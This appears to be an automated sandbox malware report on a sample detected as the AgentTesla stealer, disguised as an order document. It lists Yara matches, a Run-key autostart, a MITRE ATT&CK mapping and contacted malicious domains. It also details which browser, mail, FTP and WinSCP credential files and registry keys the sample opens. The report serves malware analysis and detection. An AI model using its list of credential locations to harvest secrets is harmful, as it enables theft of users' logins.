Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Fqhnalw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Fqhnalw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2583924445.00000000031E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8048, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8048, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2583924445.00000000031E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8048, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	21 Obfuscated Files or Information	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
GEFA-Order 232343-68983689.exe	21%	ReversingLabs
GEFA-Order 232343-68983689.exe	100%	Avira	HEUR/AGEN.1309900
GEFA-Order 232343-68983689.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Fqhnalw.exe	100%	Avira	HEUR/AGEN.1309900
C:\Users\user\AppData\Roaming\Fqhnalw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Fqhnalw.exe	32%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	unknown
ftp.alternatifplastik.com	5.2.84.236	true	true	unknown
rubberpartsmanufacturers.com	103.191.208.122	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rubberpartsmanufacturers.com/manxz/Pqbrsrcnsx.mp4	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-net	GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-neti	GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003201000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003018000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rubberpartsmanufacturers.com	GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003201000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003018000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/11564914/23354;	GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.alternatifplastik.com	InstallUtil.exe, 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1570412470.0000000002E0C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1655327124.000000000340C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2583924445.000000000320C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.2.84.236	ftp.alternatifplastik.com	Turkey		3188	ALASTYRTR	true
103.191.208.122	rubberpartsmanufacturers.com	unknown		7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529933
Start date and time:	2024-10-09 15:00:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GEFA-Order 232343-68983689.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@2/2
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 95% Number of executed functions: 494 Number of non-executed functions: 27
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 8048 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: GEFA-Order 232343-68983689.exe

Simulations

Behavior and APIs

Time	Type	Description
14:01:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Fqhnalw C:\Users\user\AppData\Roaming\Fqhnalw.exe
14:01:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Fqhnalw C:\Users\user\AppData\Roaming\Fqhnalw.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
5.2.84.236	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse
